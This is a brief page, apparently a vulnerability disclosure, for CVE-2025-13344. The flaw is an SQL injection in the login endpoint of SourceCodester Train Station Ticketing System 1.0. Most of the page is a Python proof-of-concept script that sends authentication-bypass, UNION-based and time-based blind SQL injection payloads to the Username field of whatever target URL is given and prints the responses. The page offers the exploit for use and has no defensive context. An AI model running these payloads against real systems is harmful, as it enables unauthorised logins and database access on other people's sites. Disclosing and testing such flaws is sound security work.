CVE-2025-13344: SourceCodester火车票务系统1.0登录接口SQL注入漏洞

import requests import sys # CVE-2025-13344 SQL Injection PoC # Target: SourceCodester Train Station Ticketing System 1.0 # Endpoint: /ajax.php?action=login # Parameter: Username def exploit_sqli(target_url, payload): """ Exploit SQL injection in login form """ endpoint = f"{target_url}/ajax.php?action=login" # Basic authentication bypass payload data = { 'Username': payload, 'Password': 'anything' } try: response = requests.post(endpoint, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13344.py <target_url>") print("Example: python cve-2025-13344.py http://target.com") sys.exit(1) target = sys.argv[1] # Test payloads payloads = [ "admin' OR '1'='1", # Basic bypass "' OR 1=1 --", # Comment based bypass "admin' UNION SELECT 1,2,3 --", # Union based "' OR SLEEP(5) --" # Time-based blind ] print(f"[*] Testing CVE-2025-13344 on {target}") for payload in payloads: print(f"\n[+] Testing payload: {payload}") result = exploit_sqli(target, payload) print(f"Response: {result[:200]}")